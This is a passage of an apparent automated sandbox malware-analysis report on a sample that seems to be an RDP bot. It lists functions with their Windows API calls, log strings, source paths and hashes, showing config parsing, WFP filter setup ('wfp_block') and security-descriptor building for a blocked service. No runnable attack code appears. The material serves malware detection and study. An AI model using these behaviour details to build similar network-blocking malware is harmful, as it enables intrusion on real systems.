Opcode Fuzzy Hash: 15ea6d50e65a1b7c05384c060b9ffa8fcfddfd8832c5a55c0eb87056edab8287
Instruction Fuzzy Hash: E0519F72618BC285E730AF12E8847AAB7A0FF85744F844535CA8D43B98EF7DE558CB50

Function 00007FF70489918B Relevance: 15.9, APIs: 7, Strings: 2, Instructions: 111
memorystringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

strlen.MSVCRT ref: 00007FF704898EEF
GetProcessHeap.KERNEL32 ref: 00007FF704898F6B
HeapAlloc.KERNEL32 ref: 00007FF704898F7C
BuildTrusteeWithSidW.ADVAPI32 ref: 00007FF704899010
BuildSecurityDescriptorW.ADVAPI32 ref: 00007FF70489905D
GetProcessHeap.KERNEL32 ref: 00007FF7048990F2
HeapFree.KERNEL32 ref: 00007FF704899103

Strings

block_svc, xrefs: 00007FF704899070
[E] (%s) -> BuildSecurityDescriptorW failed(gle=%lu), xrefs: 00007FF704899077

Memory Dump Source

Source File: 0000000B.00000002.2315960449.00007FF704891000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF704890000, based on PE: true

Associated: 0000000B.00000002.2315909031.00007FF704890000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2315982129.00007FF7048A1000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2316051356.00007FF7048A2000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2316590597.00007FF7048AA000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2316938857.00007FF7048AC000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2316959480.00007FF7048AF000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff704890000_hstmhco83f64lehv4q0wbzqj3o.jbxd

Similarity

API ID: Heap$BuildProcess$AllocDescriptorFreeSecurityTrusteeWithstrlen
String ID: [E] (%s) -> BuildSecurityDescriptorW failed(gle=%lu)$block_svc
API String ID: 493744553-3317923414
Opcode ID: 0d5c677c755f7a7bf93115690c4c43bb76cf9dd58e87532489e7b469e434fd69
Instruction ID: 5ac0bcf2a004c8da47966fde3fe48e900493e3efcf8d3abe2b84cd166ecab259
Opcode Fuzzy Hash: 0d5c677c755f7a7bf93115690c4c43bb76cf9dd58e87532489e7b469e434fd69
Instruction Fuzzy Hash: 3B519E72618BC285E730AF12E8847AAB7A0FF85744F844535CA8D43B98EF7DE558CB50

Function 00007FF704899181 Relevance: 15.9, APIs: 7, Strings: 2, Instructions: 111
memorystringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

strlen.MSVCRT ref: 00007FF704898EEF
GetProcessHeap.KERNEL32 ref: 00007FF704898F6B
HeapAlloc.KERNEL32 ref: 00007FF704898F7C
BuildTrusteeWithSidW.ADVAPI32 ref: 00007FF704899010
BuildSecurityDescriptorW.ADVAPI32 ref: 00007FF70489905D
GetProcessHeap.KERNEL32 ref: 00007FF7048990F2
HeapFree.KERNEL32 ref: 00007FF704899103

Strings

block_svc, xrefs: 00007FF704899070
[E] (%s) -> BuildSecurityDescriptorW failed(gle=%lu), xrefs: 00007FF704899077

Memory Dump Source

Source File: 0000000B.00000002.2315960449.00007FF704891000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF704890000, based on PE: true

Associated: 0000000B.00000002.2315909031.00007FF704890000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2315982129.00007FF7048A1000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2316051356.00007FF7048A2000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2316590597.00007FF7048AA000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2316938857.00007FF7048AC000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2316959480.00007FF7048AF000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff704890000_hstmhco83f64lehv4q0wbzqj3o.jbxd

Similarity

API ID: Heap$BuildProcess$AllocDescriptorFreeSecurityTrusteeWithstrlen
String ID: [E] (%s) -> BuildSecurityDescriptorW failed(gle=%lu)$block_svc
API String ID: 493744553-3317923414
Opcode ID: a7f15082d69df05f72d5037cbf794af7c80b7d5605807083d53654b9f1c948c6
Instruction ID: 92f091b0bc42b12282a457720fe8c1626366134854a35503f433e2fc0e234551
Opcode Fuzzy Hash: a7f15082d69df05f72d5037cbf794af7c80b7d5605807083d53654b9f1c948c6
Instruction Fuzzy Hash: 9B518D72618BC285E730AF12E8847AAB7A0FF85744F844535CA8D43B98EF7DE558CB50

Function 00007FF704899D40 Relevance: 15.1, APIs: 1, Strings: 9, Instructions: 97
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

strcmp.MSVCRT ref: 00007FF704899E2C

Strings

ini_get_var, xrefs: 00007FF704899D89, 00007FF704899DBC, 00007FF704899DEF, 00007FF704899E56, 00007FF704899E9E
(sec != NULL), xrefs: 00007FF704899D82
NULL, xrefs: 00007FF704899EBE, 00007FF704899EC7
[W] (%s) -> Failed(sec=%s,name=%s,err=%08x), xrefs: 00007FF704899EA5
C:/Projects/rdp/bot/codebase/ini.c, xrefs: 00007FF704899D7B, 00007FF704899DAE, 00007FF704899DE1
(var != NULL), xrefs: 00007FF704899DE8
(name != NULL), xrefs: 00007FF704899DB5
[E] (%s) -> Assertation failed: %s, file %s, line %d, xrefs: 00007FF704899D90, 00007FF704899DC3, 00007FF704899DF6
[D] (%s) -> Done(sec=%s,name=%s,value=%s), xrefs: 00007FF704899E5D

Memory Dump Source

Source File: 0000000B.00000002.2315960449.00007FF704891000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF704890000, based on PE: true

Associated: 0000000B.00000002.2315909031.00007FF704890000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2315982129.00007FF7048A1000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2316051356.00007FF7048A2000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2316590597.00007FF7048AA000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2316938857.00007FF7048AC000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2316959480.00007FF7048AF000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff704890000_hstmhco83f64lehv4q0wbzqj3o.jbxd

Similarity

API ID: strcmp
String ID: (name != NULL)$(sec != NULL)$(var != NULL)$C:/Projects/rdp/bot/codebase/ini.c$NULL$[D] (%s) -> Done(sec=%s,name=%s,value=%s)$[E] (%s) -> Assertation failed: %s, file %s, line %d$[W] (%s) -> Failed(sec=%s,name=%s,err=%08x)$ini_get_var
API String ID: 1004003707-3780280517
Opcode ID: 2ee842223cffa98dceb5b62bd9c30b65d7323fe599467d8fbc98665edec57061
Instruction ID: 6c77d2b2bff2e9db79d688187cd47b4a62ab1fe32e6a510fb48adf3491910151
Opcode Fuzzy Hash: 2ee842223cffa98dceb5b62bd9c30b65d7323fe599467d8fbc98665edec57061
Instruction Fuzzy Hash: 804133A2E0DA47A5FA50AF42EC80BB5A360BF44344FD84836D94D066D4DFBCB9B5C364

Function 00007FF704899BB9 Relevance: 15.1, APIs: 1, Strings: 9, Instructions: 90
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

strcmp.MSVCRT ref: 00007FF704899CAD

Strings

[D] (%s) -> Done(name=%s), xrefs: 00007FF704899CCD
(sec != NULL), xrefs: 00007FF704899C61
NULL, xrefs: 00007FF704899D24
(ini != NULL), xrefs: 00007FF704899BFB
C:/Projects/rdp/bot/codebase/ini.c, xrefs: 00007FF704899BF4, 00007FF704899C27, 00007FF704899C5A
(name != NULL), xrefs: 00007FF704899C2E
ini_get_sec, xrefs: 00007FF704899C02, 00007FF704899C35, 00007FF704899C68, 00007FF704899CC6, 00007FF704899D04
[E] (%s) -> Assertation failed: %s, file %s, line %d, xrefs: 00007FF704899C09, 00007FF704899C3C, 00007FF704899C6F
[W] (%s) -> Failed(name=%s,err=%08x), xrefs: 00007FF704899D0B

Memory Dump Source

Source File: 0000000B.00000002.2315960449.00007FF704891000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF704890000, based on PE: true

Associated: 0000000B.00000002.2315909031.00007FF704890000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2315982129.00007FF7048A1000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2316051356.00007FF7048A2000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2316590597.00007FF7048AA000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2316938857.00007FF7048AC000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2316959480.00007FF7048AF000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff704890000_hstmhco83f64lehv4q0wbzqj3o.jbxd

Similarity

API ID: strcmp
String ID: (ini != NULL)$(name != NULL)$(sec != NULL)$C:/Projects/rdp/bot/codebase/ini.c$NULL$[D] (%s) -> Done(name=%s)$[E] (%s) -> Assertation failed: %s, file %s, line %d$[W] (%s) -> Failed(name=%s,err=%08x)$ini_get_sec
API String ID: 1004003707-386092548
Opcode ID: d7ef4e8527c300b6e60fff9e20f006bb1be91614be483f3427c7aa1c32288de3
Instruction ID: 59a03fd91cf941f7973be843405592af6ba53ba883e3e31ee83aeef11af832bb
Opcode Fuzzy Hash: d7ef4e8527c300b6e60fff9e20f006bb1be91614be483f3427c7aa1c32288de3
Instruction Fuzzy Hash: CD41ECA2A08947A1FA20AF52ACC4BB4A250BF44348FD84936D90D166D5DFBCB9B5C320

Function 00007FF70489A0F0 Relevance: 14.1, APIs: 3, Strings: 5, Instructions: 68
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_errno.MSVCRT ref: 00007FF70489A18A
_errno.MSVCRT ref: 00007FF70489A1A8
_errno.MSVCRT ref: 00007FF70489A1B4

Strings

[E] (%s) -> strtoul failed(sec_name=%s,var_name=%s,radix=%d,s=%s,errno=%d), xrefs: 00007FF70489A1DB
(value != NULL), xrefs: 00007FF70489A162
C:/Projects/rdp/bot/codebase/ini.c, xrefs: 00007FF70489A15B
[E] (%s) -> Assertation failed: %s, file %s, line %d, xrefs: 00007FF70489A170
ini_get_uint32, xrefs: 00007FF70489A169, 00007FF70489A1D4

Memory Dump Source

Source File: 0000000B.00000002.2315960449.00007FF704891000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF704890000, based on PE: true

Associated: 0000000B.00000002.2315909031.00007FF704890000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2315982129.00007FF7048A1000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2316051356.00007FF7048A2000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2316590597.00007FF7048AA000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2316938857.00007FF7048AC000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2316959480.00007FF7048AF000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff704890000_hstmhco83f64lehv4q0wbzqj3o.jbxd

Similarity

API ID: _errno
String ID: (value != NULL)$C:/Projects/rdp/bot/codebase/ini.c$[E] (%s) -> Assertation failed: %s, file %s, line %d$[E] (%s) -> strtoul failed(sec_name=%s,var_name=%s,radix=%d,s=%s,errno=%d)$ini_get_uint32
API String ID: 2918714741-1670302297
Opcode ID: 8c79b365c077024c38f17f42c04b753b74df60f5a8e513a52fa5fe005987a0a9
Instruction ID: a8d6c7c9a8b4acb21d7c1057776597ec787faba4156e3097647c4c8b217280e6
Opcode Fuzzy Hash: 8c79b365c077024c38f17f42c04b753b74df60f5a8e513a52fa5fe005987a0a9
Instruction Fuzzy Hash: 73218722A08A8696F611AF16FC80B99B750BF44744F884435EE4D47694DF7CE8A5C710

Function 00007FF7048914E2 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 91
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

fwrite.MSVCRT ref: 00007FF70489158E
fflush.MSVCRT ref: 00007FF70489159A
EnterCriticalSection.KERNEL32 ref: 00007FF7048915B3
LeaveCriticalSection.KERNEL32 ref: 00007FF7048915DB
CopyFileA.KERNEL32 ref: 00007FF704891638

Strings

., xrefs: 00007FF70489161D
1, xrefs: 00007FF704891622

Memory Dump Source

Source File: 0000000B.00000002.2315960449.00007FF704891000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF704890000, based on PE: true

Associated: 0000000B.00000002.2315909031.00007FF704890000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2315982129.00007FF7048A1000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2316051356.00007FF7048A2000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2316590597.00007FF7048AA000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2316938857.00007FF7048AC000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2316959480.00007FF7048AF000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff704890000_hstmhco83f64lehv4q0wbzqj3o.jbxd

Similarity

API ID: CriticalSection$CopyEnterFileLeavefflushfwrite
String ID: .$1
API String ID: 513531256-1839485796
Opcode ID: 32402bb36cf6c4058c43ba99a49dc3a81660aa1839c62e2d7fd324598b5362bd
Instruction ID: e29c1bd5ae638d92e9c3b9e20c6158b5d73d06868b4357976e139cc003387eed
Opcode Fuzzy Hash: 32402bb36cf6c4058c43ba99a49dc3a81660aa1839c62e2d7fd324598b5362bd
Instruction Fuzzy Hash: D0414322A0C64186F224BF12EC94BB9A250FF85784FC40431D90D57BD5CFACE571C750

Function 00007FF7048976D0 Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 128COMMON

Download Yara Rule

APIs

FwpmProviderDestroyEnumHandle0.FWPUCLNT ref: 00007FF704897822
wcscmp.MSVCRT ref: 00007FF70489786D

Strings

[E] (%s) -> FwpmProviderAdd0 failed(res=%08lx), xrefs: 00007FF704897944
[E] (%s) -> FwpmProviderEnum0 failed(res=%08lx), xrefs: 00007FF7048977F4
setup_filt_prov, xrefs: 00007FF7048977D0, 00007FF7048977ED, 00007FF70489793D
[E] (%s) -> FwpmProviderCreateEnumHandle0 failed(res=%08lx), xrefs: 00007FF7048977D7

Memory Dump Source

Source File: 0000000B.00000002.2315960449.00007FF704891000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF704890000, based on PE: true

Associated: 0000000B.00000002.2315909031.00007FF704890000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2315982129.00007FF7048A1000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2316051356.00007FF7048A2000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2316590597.00007FF7048AA000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2316938857.00007FF7048AC000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2316959480.00007FF7048AF000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff704890000_hstmhco83f64lehv4q0wbzqj3o.jbxd

Similarity

API ID: DestroyEnumFwpmHandle0Providerwcscmp
String ID: [E] (%s) -> FwpmProviderAdd0 failed(res=%08lx)$[E] (%s) -> FwpmProviderCreateEnumHandle0 failed(res=%08lx)$[E] (%s) -> FwpmProviderEnum0 failed(res=%08lx)$setup_filt_prov
API String ID: 1522850966-2029202777
Opcode ID: e01a2546dc137a85f423c8f89867c1a3d9276bb166f76ca6a144805d095920fa
Instruction ID: 70c78d356ab0e195e0b1f8f4df2a2024b2839e89835fbb72e87d396dbb109e64
Opcode Fuzzy Hash: e01a2546dc137a85f423c8f89867c1a3d9276bb166f76ca6a144805d095920fa
Instruction Fuzzy Hash: 8251A522618F8191F7609F16FC80BAAA296FF44784F444535DA8D47B99EF3DE8A0C790

Function 00007FF704899621 Relevance: 10.6, APIs: 1, Strings: 5, Instructions: 89COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF7048976D0: wcscmp.MSVCRT ref: 00007FF70489786D

FwpmEngineClose0.FWPUCLNT(?,?,?,?,?,?,00000000,00000215763F14D0,?,00007FF7048914B4,?,?,00000001,00007FF7048914D2), ref: 00007FF704899701

Strings

ip4, xrefs: 00007FF70489967A
svc, xrefs: 00007FF704899728
wfp_block, xrefs: 00007FF7048996B3
[E] (%s) -> FwpmEngineOpen0 failed(res=%08lx), xrefs: 00007FF7048996BA
app, xrefs: 00007FF7048996E0

Memory Dump Source

Source File: 0000000B.00000002.2315960449.00007FF704891000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF704890000, based on PE: true

Associated: 0000000B.00000002.2315909031.00007FF704890000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2315982129.00007FF7048A1000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2316051356.00007FF7048A2000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2316590597.00007FF7048AA000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2316938857.00007FF7048AC000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2316959480.00007FF7048AF000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff704890000_hstmhco83f64lehv4q0wbzqj3o.jbxd

Similarity

API ID: Close0EngineFwpmwcscmp
String ID: [E] (%s) -> FwpmEngineOpen0 failed(res=%08lx)$app$ip4$svc$wfp_block
API String ID: 4239307310-774261742
Opcode ID: bc37717aaa125da59d133c60f9123bca4d000f7470b915232312e13a07abc2cb
Instruction ID: f05a82a5b7e637cf33bf63d4d08fbd5e607d8cb647c53f0532825317a0afac5a
Opcode Fuzzy Hash: bc37717aaa125da59d133c60f9123bca4d000f7470b915232312e13a07abc2cb
Instruction Fuzzy Hash: 8331B491B1CA4391FA51BE57ACC0ABA92519F493C0FC80835EA0E477D5EF5CFC658360

Function 00007FF704896497 Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 66COMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32 ref: 00007FF7048964A0
GetLastError.KERNEL32 ref: 00007FF7048964E5

Strings

(path != NULL), xrefs: 00007FF7048964C4
fs_path_exists, xrefs: 00007FF7048964CB
C:/Projects/rdp/bot/codebase/fs.c, xrefs: 00007FF7048964BD
[E] (%s) -> Assertation failed: %s, file %s, line %d, xrefs: 00007FF7048964D2

Memory Dump Source

Source File: 0000000B.00000002.2315960449.00007FF704891000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF704890000, based on PE: true

Associated: 0000000B.00000002.2315909031.00007FF704890000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2315982129.00007FF7048A1000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2316051356.00007FF7048A2000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2316590597.00007FF7048AA000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2316938857.00007FF7048AC000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2316959480.00007FF7048AF000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff704890000_hstmhco83f64lehv4q0wbzqj3o.jbxd

Similarity

API ID: AttributesErrorFileLast
String ID: (path != NULL)$C:/Projects/rdp/bot/codebase/fs.c$[E] (%s) -> Assertation failed: %s, file %s, line %d$fs_path_exists
API String ID: 1799206407-4111913120
Opcode ID: 55f41800e1764709aa011a7321b8a8cc42a7450f45ffe44db308ed9fbd2e31db
Instruction ID: f72733dde705805f3142fda4f66aabba696a3eef7c0d456766fd0351ef63c914
Opcode Fuzzy Hash: 55f41800e1764709aa011a7321b8a8cc42a7450f45ffe44db308ed9fbd2e31db
Instruction Fuzzy Hash: F121A451E0C84382FB646EAAACC4B7D91405F5074AFAC4D32D10EA92D8EF5CFCB55262

Function 00007FF704891C73 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 38libraryloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32 ref: 00007FF704891C93

Part of subcall function 00007FF7048914E2: fwrite.MSVCRT ref: 00007FF70489158E
Part of subcall function 00007FF7048914E2: fflush.MSVCRT ref: 00007FF70489159A

GetLastError.KERNEL32 ref: 00007FF704891CC6

Strings

[D] (%s) -> Done(hnd=0x%p,name=%s,ret=0x%p), xrefs: 00007FF704891CB3
[E] (%s) -> Failed(hnd=0x%p,name=%s,gle=%lu), xrefs: 00007FF704891CDD
module_get_proc, xrefs: 00007FF704891CAC, 00007FF704891CD6

Memory Dump Source

Source File: 0000000B.00000002.2315960449.00007FF704891000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF704890000, based on PE: true

Associated: 0000000B.00000002.2315909031.00007FF704890000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2315982129.00007FF7048A1000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2316051356.00007FF7048A2000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2316590597.00007FF7048AA000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2316938857.00007FF7048AC000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2316959480.00007FF7048AF000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff704890000_hstmhco83f64lehv4q0wbzqj3o.jbxd

Similarity

API ID: AddressErrorLastProcfflushfwrite
String ID: [D] (%s) -> Done(hnd=0x%p,name=%s,ret=0x%p)$[E] (%s) -> Failed(hnd=0x%p,name=%s,gle=%lu)$module_get_proc
API String ID: 1224403792-3063791425
Opcode ID: 60eb46d347e057fdabef9aa688644875f958b88ba8c0fdf82c797b715754816d
Instruction ID: b59fa5feb0559220fe8e54a31fd0f5bcd9e3e284e8339723d04f85ab1ab4deeb
Opcode Fuzzy Hash: 60eb46d347e057fdabef9aa688644875f958b88ba8c0fdf82c797b715754816d
Instruction Fuzzy Hash: 8DF08151A0DA0382FA25AF57AC849B5A6526F04BD4FD84832DD5D0B7D4EF2CFD768320

Function 00007FF704891CF4 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 28libraryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32 ref: 00007FF704891D02

Part of subcall function 00007FF7048914E2: fwrite.MSVCRT ref: 00007FF70489158E
Part of subcall function 00007FF7048914E2: fflush.MSVCRT ref: 00007FF70489159A

GetLastError.KERNEL32 ref: 00007FF704891D2E

Strings

module_load, xrefs: 00007FF704891D16, 00007FF704891D3A
[I] (%s) -> Done(name=%s,ret=0x%p), xrefs: 00007FF704891D1D
[E] (%s) -> Failed(name=%s,gle=%lu), xrefs: 00007FF704891D41

Memory Dump Source

Source File: 0000000B.00000002.2315960449.00007FF704891000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF704890000, based on PE: true

Associated: 0000000B.00000002.2315909031.00007FF704890000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2315982129.00007FF7048A1000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2316051356.00007FF7048A2000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2316590597.00007FF7048AA000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2316938857.00007FF7048AC000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2316959480.00007FF7048AF000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff704890000_hstmhco83f64lehv4q0wbzqj3o.jbxd

Similarity

API ID: ErrorLastLibraryLoadfflushfwrite
String ID: [E] (%s) -> Failed(name=%s,gle=%lu)$[I] (%s) -> Done(name=%s,ret=0x%p)$module_load
API String ID: 4085810780-3386190286
Opcode ID: 7f27e01a4b09a2fb507d16a597e75235df5eba0fadb702a3177a3972b388af36
Instruction ID: 2c1dea7bf08aad973d6a31b6ba01942251d28b300e3e31394c3c10e91d97897e
Opcode Fuzzy Hash: 7f27e01a4b09a2fb507d16a597e75235df5eba0fadb702a3177a3972b388af36
Instruction Fuzzy Hash: 13F01751E0EA0740F9A1BF57ACC4DA0A6516F19B94B8C1C71C90D167D1EF5CB9B58320

Function 00007FF7048949A6 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 34COMMON

Download Yara Rule

APIs

fclose.MSVCRT ref: 00007FF704894B30

Strings

fs_file_read, xrefs: 00007FF704894B65
[E] (%s) -> Failed(path=%s,err=%08x), xrefs: 00007FF704894B6C

Memory Dump Source

Source File: 0000000B.00000002.2315960449.00007FF704891000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF704890000, based on PE: true

Associated: 0000000B.00000002.2315909031.00007FF704890000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2315982129.00007FF7048A1000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2316051356.00007FF7048A2000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2316590597.00007FF7048AA000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2316938857.00007FF7048AC000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2316959480.00007FF7048AF000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff704890000_hstmhco83f64lehv4q0wbzqj3o.jbxd

Similarity

API ID: fclose
String ID: [E] (%s) -> Failed(path=%s,err=%08x)$fs_file_read
API String ID: 3125558077-1073242539
Opcode ID: f4da63c4789cf217afe351ff4f6dd43b543261fbf7b8fdb04ee6528f7bd42f17
Instruction ID: 4f51eaf12c252f14d2e814458be1617bc15ec2ecf4b6497148fa16afbf635ced
Opcode Fuzzy Hash: f4da63c4789cf217afe351ff4f6dd43b543261fbf7b8fdb04ee6528f7bd42f17
Instruction Fuzzy Hash: D1F03013B0DA0341F956AE467C80BB991412F81BA5E8D0D358D5C0A6C1AF7D7CA38320

Function 00007FF70489499C Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 34COMMON

Download Yara Rule

APIs

fclose.MSVCRT ref: 00007FF704894B30

Strings

fs_file_read, xrefs: 00007FF704894B65
[E] (%s) -> Failed(path=%s,err=%08x), xrefs: 00007FF704894B6C

Memory Dump Source

Source File: 0000000B.00000002.2315960449.00007FF704891000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF704890000, based on PE: true

Associated: 0000000B.00000002.2315909031.00007FF704890000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2315982129.00007FF7048A1000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2316051356.00007FF7048A2000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2316590597.00007FF7048AA000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2316938857.00007FF7048AC000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2316959480.00007FF7048AF000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff704890000_hstmhco83f64lehv4q0wbzqj3o.jbxd

Similarity

API ID: fclose
String ID: [E] (%s) -> Failed(path=%s,err=%08x)$fs_file_read
API String ID: 3125558077-1073242539
Opcode ID: 66188fbad683bb74668b27566d1f38c8e5cf3bb503f2bc2aca81d20f34e51556
Instruction ID: 66093d1820e0408654188f5ce1ba275629a297463c1ead15727bf940c226423b
Opcode Fuzzy Hash: 66188fbad683bb74668b27566d1f38c8e5cf3bb503f2bc2aca81d20f34e51556
Instruction Fuzzy Hash: A4F03A13B0DA0341F956AE46BC80BB992412F81BA5E8D0D358D5C0A6C1AF7DBCA38320

Function 00007FF704894992 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 34COMMON

Download Yara Rule

APIs

fclose.MSVCRT ref: 00007FF704894B30

Strings

fs_file_read, xrefs: 00007FF704894B65
[E] (%s) -> Failed(path=%s,err=%08x), xrefs: 00007FF704894B6C

Memory Dump Source

Source File: 0000000B.00000002.2315960449.00007FF704891000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF704890000, based on PE: true

Associated: 0000000B.00000002.2315909031.00007FF704890000.00000002.00000001.01000000.00000006.sdmpDownload File
